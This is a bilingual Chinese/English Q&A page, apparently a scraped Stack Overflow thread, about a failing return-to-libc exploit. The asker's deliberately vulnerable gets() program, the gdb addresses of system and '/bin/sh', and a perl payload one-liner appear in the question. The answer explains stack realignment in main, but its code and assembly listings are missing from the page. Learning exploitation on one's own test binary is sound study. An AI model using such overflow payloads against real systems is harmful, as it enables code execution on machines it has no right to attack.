返回 libc - 问题
我在返回 libc 漏洞利用方面遇到问题。问题是没有任何反应,但没有分段错误(是的,我实际上溢出了堆栈)。
这是我的程序:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
我使用 gets 而不是 strcopy,因为我的地址以 0x00 开头,而 strcpy 认为它是字符串的结尾,所以我不能使用它。
以下是我需要的地址:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
当输入正确的序列时,会发生这种情况:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
所以什么也没有。
但如果我输入 520 'A's (0x41),那么 EIP 就会溢出 'A's。如果有 516 'A',则不会发生任何事情,但 EIP 包含系统地址,紧接着退出地址,紧接着 /bin/sh 指针。
为什么什么也没发生?
I'm having problems with return-to-libc exploit. The problem is that nothing happens, but no segmentation fault (and yes I'm actually overflowing the stack).
This is my program:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
I'm using gets instead of strcopy, because my addresses start with 0x00 and strcpy thinks it's the end of a string, so I can't use it.
Here are the addresses that I need:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
When inputing the right sequence, this happens:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
so nothing.
But if I enter 520 'A's (0x41), then the EIP is overflown with 'A's. If there's 516 'A', nothing happens but EIP contains the system address, following the exit address, following the /bin/sh pointer.
Why nothing happened?
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(1)
让我们先做一些asm:
Code
Asm
序言和尾声(这些是带有对齐代码的)在这里详细描述理解一些汇编语句的目的
堆栈布局:
所以,如果你想改变main的返回地址,你不应该改变堆栈中将使用的地址
ret
,还可以重复通过 (1),(2),(3) 推送保存在堆栈中的值。或者,您可以在数组本身中嵌入一个新的返回地址,并仅用新的堆栈地址 + 4 覆盖 (3)。 (使用 516 字节字符串)我建议您使用此源代码来破解它:
因为 f 的堆栈重新对齐没有问题
f()
的堆栈布局:f() 中 ret 指令处的断点,长度为 520 字节“A”的
Let's do some asm before:
Code
Asm
The prologue and epilogue (these are with alignment code) is described in detail here Understanding the purpose of some assembly statements
Stack layout:
So, if you want to change a return address of main, you should not to change address in stack which will be used by
ret
, but also to repeat the values saved in stack by (1),(2),(3) pushes. Or you can embed a new return address in the array itself and overwrite only (3) by the your new stack address+4. (use 516 byte string)I suggest you use this source code to hack it:
because f have no problems with stack realignement
Stack layout for
f()
:Breakpoint at ret instruction in f() with 520 bytes of "A"